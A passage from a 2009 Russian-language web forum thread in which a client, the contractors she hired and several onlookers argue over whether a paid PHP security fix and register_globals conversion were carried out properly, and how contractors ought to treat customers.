Я просто снял узел рабочий, вернул узел сломанный, не взял с клиента ни копейки за потраченное время, и предложил отдать этот узел на экспертизу, и если я окажусь не прав, готов оплатить стоимость нового. Детали "обвески", на сумму около 180 руб, я ему подарил, указав место их установки. В данной ситуации не стоило поступать по иному, доказывая, что при данной поломке ведущего двигателя, он не сгорает в гордом одиночестве.

Но клиент ушел без чувства "мести", а тем более не рассказывал всем, что его "надули". А через год он пришел ко мне, извинился за прошлое, и попросил помочь уже в другом вопросе.
А бывает и другое, и к сожалению очень часто, когда приносят после "ремонта" технику, которую отдали в "мастерскую", а она не работает, и когда заглянешь во внутрь....

Своих клиентов надо ценить, и ценить выше себя, тогда вам и будут доверять. Вы оплошали, вы не убедили клинета в правоте своей изначално, а это значит подвергли сомнению свой профессионализм. Что может быть хуже этого? Теперь поздно "кулаками махать".

   
 
 автор: user112   (08.12.2009 в 18:08)   письмо автору
 
   для: user112   (08.12.2009 в 16:12)
 

Думаю тему можно закрывать. Все попытки zeta777 нас в чём то уличить, - клевета без доказательств. Одна уязвимость после нашего анализа была, мы её исправили в кратчайшие сроки. Все остальное - попытка добиться не пойми чего, толчение воды в ступе. Отношение к клиенту, я могу принять на свою совесть, она не пострадает от такого греха. zeta777 оставила отзыв, думаю она морально удовлетворила себя. Все вопросы решили?

   
 
 автор: sim5   (08.12.2009 в 18:42)   письмо автору
 
   для: user112   (08.12.2009 в 18:08)
 

>Думаю тему можно закрывать.

Ее давно уже нужно было закрыть, вы ее продолжили по собственной инициативе. Себя утвержадть надо было не здесь. Если у вас такой конфликт с первым вашим клиентом, где гарантия того, что такого не повториться с последующими. По решимости ваших слов - нет таковой гарантии, и пусть вы хоть сто раз правы, с таким подходом....

Сомнение, недоверие, плохое настроение, это как бумеранг, который возвращается, и после которого больно. Ваши последние слова лишь подтверждают выше изложенные сомнения клиента - вы сделали, отфуболили, и далее ее проблемы. Резонно сказано, чувствуя свою правоту, но не разумно, ибо это не лучшее в отношениях между сторонами.

>Все вопросы решили?

Вот этого я не знаю, это вам с ней решать. К своим клиентам я так не отношусь, а они к вам не придут, и я никогда не буду вашим клиентом, так что вопрос просто не уместен в мою сторону.
"В нашей стране никогда не остануться без работы гинекологи и телемастера" - говаривал мой друг военный. Но если я буду ориентироваться на такое, как гарантированность дохода, и отпуская клиента не важно с какими мыслями, лишь бы заплатил, то я уверен, что вскоре останусь без хлеба. А вот как вам - решать вам.

   
 
 автор: The Electronic Cat   (08.12.2009 в 17:18)   письмо автору
 
   для: zeta777   (01.12.2009 в 12:11)
 

С моей точки зрения, работа проведена не блестяще, но вполне приемлемо.
Вопрос о ценах (как должен или не должен исполнитель подходить к работе за такие деньги) стоит оставить за кадром, как некорректный - цены были озвучены заранее и приняты, а подход - личное дело каждого.
Согласен с Trianon, что странной выглядит сама схема предоставления услуг, но это к делу не относится.

Николай2357, не думаю, что переписывание кода в другом стиле и вообще его логическая оптимизация могут быть сочтены обязанностями исполнителей. По сути, вы говорите о том, что за такие деньги и в такое время вы сделали бы клиенту вот этакий бонус. Честь вам и хвала, но опять-таки не относится к разговору.

zeta777, вы и правда неверно трактуете результаты работы сканера. Кроме того демонстрируете явную склонность предвзято трактовать любую информацию по этой проблеме.

У меня к исполнителям всего две претензии:
1. Я согласен с Trianon в том, что касается профессионализма перевода на rg=off. Однако в условиях договора речь об это не шла (если не ошибаюсь) - лишь о том, чтобы скрипт был работоспособен при этих настройках. Говорить об обязательствах здесь вряд ли уместно, однако на месте исполнителей я бы это исправил.
2. Свой (вполне правильный) пассаж о 100% безопасности вам (исполнителям) следовало внести в тело письма клиенту на этапе согласования договора - тогда и вопросов было бы куда меньше. Вы же дали ей основания думать, что такой уровень безопасности возможен и вы беретесь его продемонстрировать. Дальше уже начинается игра словами.

В целом, я присоединяюсь к sim5 - клиент не должен был дойти до стадии обращения на этот форум. И если она драматизирует ситуацию и во многом ошибается - ваша задача с еще большим терпением и тщанием ей разъяснить это. Однако это уж из области досужих разговоров, и не мне вас учить профессиональной этике.

Формально же - закона "клиент всегда прав" не существует в ГК, и, если zeta777 и впрямь дойдет до публичного объявления вас мошенниками, то вполне может быть привлечена как ответчик за клевету.

   
 
 автор: Николай2357   (08.12.2009 в 17:33)   письмо автору
 
   для: The Electronic Cat   (08.12.2009 в 17:18)
 

Николай2357, не думаю, что переписывание кода в другом стиле и вообще его логическая оптимизация могут быть сочтены обязанностями исполнителей. По сути, вы говорите о том, что за такие деньги и в такое время вы сделали бы клиенту вот этакий бонус. Честь вам и хвала, но опять-таки не относится к разговору.
Вы реально считаете, что я делал это руками? По долгу службы мне очень часто приходится оказывать подобного рода услуги - оптимизацию, аудит скриптов и так далее. Я давным давно имею в арсенале нужные программы (большинство самописные), которые помогают приводить листинг в порядок.

И это бонус вовсе не заказчику, а мне в первую очередь. Так как в хорошо структурированном коде разбираться гораздо легче, быстрее и эффективнее.
И заказчику приятно. Это к вопросу о профессиональном подходе.

Больше скажу, часто бывает проще переписать часть скриптов снуля, чем пытаться править то, что есть. Но цель оправдывает средства. По крайней мере ни кто ни разу не поднимал вопросов по качеству. Чего и Вам искренне желаю.
А остальное sim5 сказал в (08.12.2009 в 17:19)

   
 
 автор: The Electronic Cat   (08.12.2009 в 17:45)   письмо автору
 
   для: Николай2357   (08.12.2009 в 17:33)
 

Руками, софтом или магией, для себя или для клиента, делать это вообще или не делать - это вопрос ваших личных предпочтений.

Мне, как профессионалу, понятна и симпатична позиция ваша и sim5. Однако нас не просили (и вряд ли корректно) давать оценку профессиональным или нравственным качествам исполнителей в этом вопросе. Речь о том, исполнены ли с нашей точки зрения их обязательства - технически и юридически.
С моей - да, с двумя указанными выше оговорками. Остальное - досужие разговоры, причем не слишком приятные.

   
 
 автор: neadekvat   (08.12.2009 в 19:28)   письмо автору
 
   для: The Electronic Cat   (08.12.2009 в 17:45)
 

> Руками, софтом или магией, для себя или для клиента, делать это вообще или не делать - это вопрос ваших личных предпочтений.
По-моему, вы слишком сильно прицепились к этим словам.
Никто не предъявляет претензий исполнителю по поводу оформления их кода. Встречают по одежке..первое мнение составляют тоже по ней. Для программиста "одежка" - то, как выглядит его код.
Этот код выглядит неудобоваримо, в соответствии с кодом и складывается мнение об исполнителях, а, соответственно, о том, насколько качественно могло быть выполнено задание.
Но все это лишь сугубо личное мнение каждого участника (в основном, конечно, тех, кто этот самый код могут понять).

   
 
 автор: The Electronic Cat   (08.12.2009 в 19:40)   письмо автору
 
   для: neadekvat   (08.12.2009 в 19:28)
 

Как я уже писал, мне не кажется, что ТС предлагала нам изложить свое мнение об исполнителях - согласитесь, затея в такой формулировке звучит сомнительно. Была предложена конкретная ситуация с максимумом (в рамках форума) фактической информации.

Было бы мило корректней основываться на этой информации, а не на виде "одежки", тем более, что в данном случае она ношена основной код был написан другим исполнителем.

Представьте, что вы привезли грязную машину в автосервис, чтобы починить подушку безопасности, и вам ее починили, но так и не удосужились помыть.

Вызывает это недоумение?
Возможно.

Можно на этом основании предъявить к слесарям какие-либо претензии?
Нет.

Если о состоянии подушки спросят мнение эксперта - корректно ли эксперту говорить о том, что он всегда начинает с мойки машины и какая там дескать подушка, если люди машины не моют?
Не думаю.

   
 
 автор: sim5   (08.12.2009 в 19:50)   письмо автору
 
   для: The Electronic Cat   (08.12.2009 в 19:40)
 

Довольно таки спорный пример ;-)

   
 
 автор: neadekvat   (08.12.2009 в 20:18)   письмо автору
 
   для: The Electronic Cat   (08.12.2009 в 19:40)
 

Ок, давайте возьмем автосервис.
Но пример сделаем все-таки более корректным: вам привезли грязную машину и сказали - перекрасьте. Вы поверх грязи будете красить? Логично сначала машину помыть.

P.S. только не занудничайте о том, что помойка - отдельная строка прейскуранта, а приведение кода в читабельный вид - понятие для в принципе абстрактное и индивидуальное.

   
 
 автор: zeta777   (08.12.2009 в 21:02)   письмо автору
 
   для: neadekvat   (08.12.2009 в 20:18)
 

Забавные примеры вы приводите :)

Мне действительно уже неловко за себя и за это обсуждение. Я изначально, если помните. ставила вопрос всего лишь о том, насколько строка php_flag display_errors Of помогает в защите от ошибок... а дальше пошло-поехало...

Я не хочу обвинять их в том, что они ничего не сделали, ни в коей мере.
Я больше всех на этом форуме, смею вас всех уверить, заинтересована в том, чтобы я оказалась, ну совершенно неправа, а исполнители 100% правы, так как мне по большому счету не нужны ни деньги назад, ни исправление ошибок, ни вежливость с их стороны, ни моральное удовлетворение, как пишет исполнитель.
Мне нужно, чтобы код был безопасен. Они утверждают, что он безопасен... Что ж, единственное, что может доказать обратное - это если мой сайт взломают, что будет 100% доказательством того, что они не сделали свою работу. Но видит бог, ТАКОЕ доказательство мне не нужно :)...

не знаю, как остальные, а я совсем не хочу уже продолжать обсуждение этой темы, так как чувствую себя препоганнейшим образом, потому что я не скандалистка и не отношусь к людям, которые не ценят чужую работу... Буду условно считать, что работа выполнена... Пока мой сайт не взломали, чего надеюсь не произойдет :)

   
 
 автор: The Electronic Cat   (08.12.2009 в 21:12)   письмо автору
 
   для: zeta777   (08.12.2009 в 21:02)
 

Чего вам искренне и желаю)

updated:
:) Как-то двусмысленно прозвучало. Удачи, словом, и вам и вашему сайту).

   
 
 автор: Liar   (08.12.2009 в 23:21)   письмо автору
 
   для: zeta777   (08.12.2009 в 21:02)
 

Не буду отрицать своего знакомства с Ребзом, но всегда сужу объективно насколько это возможно...
И так вы говорите о том что вы не скандалистка и прочее приэтом раздули безумный скандал пропуская мимо ушей некоторые ньюансы и ответы исполнителей, чем очень сильно подорвали к ним и их сервису доверия от обычных обывателей и потанцеальных заказчиков, чем ну я думаю тут и так видно, при этом если вдуматься в суть проблемы и оценить объективно как и поставленное ТЗ так и его выполнение то вам всё сделали именно по договорёности. основная из которых была закрытие уязвимостей. далее сколько вам потребуется времени для докозательств того что код действительно максимально безопасен: год, два 5 лет. тоесть через какое время вы готовы будите так же публично принести свои извинения в своей неправоте в выполнение проведёной работы ? пожалуйста дайте на это чёткий ответ и готовы ли вы будите восполнить данное материально? ведь вы подмачиваете репутацию людям...
Теперь давайте выделим основное по пунктам:
1. Основным вашим требование было проверка на уязвимости и устранение онных *и закрыть уязвимости*, он выполнен ?
2. нужно перевести на register_globals off этот пунк выполнен ?

=====
и ещё как я вижу выход. заказать независимую экспертизу по проверке на безопасность кода, при этом если будет неправа команда ребза то пусть её оплачивает она по результатам проверки, если вина ваша то вы должны принести так же ПУБЛИЧНОЕ ИЗВИНЕНИЕ с компенсацией... это будет идеальный выход из сложившейся ситуации...

   
 
 автор: neadekvat   (08.12.2009 в 23:43)   письмо автору
 
   для: Liar   (08.12.2009 в 23:21)
 

> потанцеальных
Две ошибки в одном слове.. Код вы так же пишите?
Вообще, вам не кажется, что вы уже немного "не в тему".. да что там, совсем не в тему.
Через весь ваш пост красной нитью проходит тема "заплатите нам исчо!".
Вы слишком помешаны на деньгах. Очнитесь.

   
 
 автор: Liar   (08.12.2009 в 23:58)   письмо автору
 
   для: neadekvat   (08.12.2009 в 23:43)
 

neadekvat
как я пишу, имеет значение?
код я вообще не пишу так же как для меня в данном вопросе нет абсолютно не какой материальной выгоды, не в теме чего? того как была проделана работы и все ли требования были выполнены, на данном этапе мы не говорим о том чтоб переписать код так как данного требования не было, было два более или мене чётких требований, которые я и озвучил сейчас же ТС склонна к одному, к безопасности кода, я считаю, что оно выполнено, денег, поверьте, мне с данных денег не досталось и не достанется не копейки, но я так же считаю что каждое действие, каждое оскорбление должно быть обоснованным и в случае если оно несёт вред компенсировано как материально, так и морально.
Ну и разве не выход заказать пусть даже у вас аудит кода на безопасность при этом, оплатив вам вашу работу той стороной, которая является неправой….
И тут изначально огромная ошибка и недочет, как со стороны заказчика, так и со стороны исполнителей, нет чётко составленного ТЗ из за чего и произошел данный конфликт
==================
и перед публкацией первого поста я всё же прочёл всё и внимательно...

   
 
 автор: The Electronic Cat   (08.12.2009 в 21:11)   письмо автору
 
   для: neadekvat   (08.12.2009 в 20:18)
 

Пример стал не более, а менее корректным.
А об указанных вами аргументах говорить не буду - не потому, что это занудство, а потому что они очевидны.

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования